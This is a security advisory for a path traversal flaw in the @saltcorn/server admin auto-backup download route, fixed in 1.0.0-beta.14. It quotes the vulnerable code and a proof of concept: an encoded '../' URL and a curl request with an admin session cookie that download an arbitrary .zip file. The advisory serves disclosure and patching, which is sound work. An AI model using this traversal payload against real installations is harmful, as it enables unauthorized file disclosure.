GHSA-277h-px4m-62q8 @saltcorn/server arbitrary file zip read and download when downloading auto backups

• npm @saltcorn/server: < 1.0.0-beta.14 → fixed in 1.0.0-beta.14

Summary A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API. Details • file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682 ```js router.get( "/auto-backup-download/:filename", isAdmin, error_catcher(async (req, res) => { const { filename } = req.params; // [1] source [...] if ( !isRoot || !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2] ) { res.redirect("/admin/backup"); return; } const auto_backup_directory = getState().getConfig("auto_backup_directory"); res.download(path.join(auto_backup_directory, filename), filename); // [3] sink }) ); ``` Steps to reproduce (PoC) • create a file with `.zip` extension under `/tmp` folder: ``` echo "secret12345" > /tmp/secret.zip ``` • log into the application as an admin user • visit the url `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip` • download the zip file and then check if the zip was indeed downloaded: ```bash cat secret.zip secret12345 ``` • Alternatively send the following request to retrieve the file just created. ```bash curl -i -X $'GET' \ -H $'Host: localhost:3000' \ -H $'Connection: close' \ -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \ $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip' ``` NOTE: To obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value. Impact Arbitrary zip files download (information disclosure). Recommended Mitigation Resolve the `filename` parameter before checking if it starts with `backup_file_prefix` .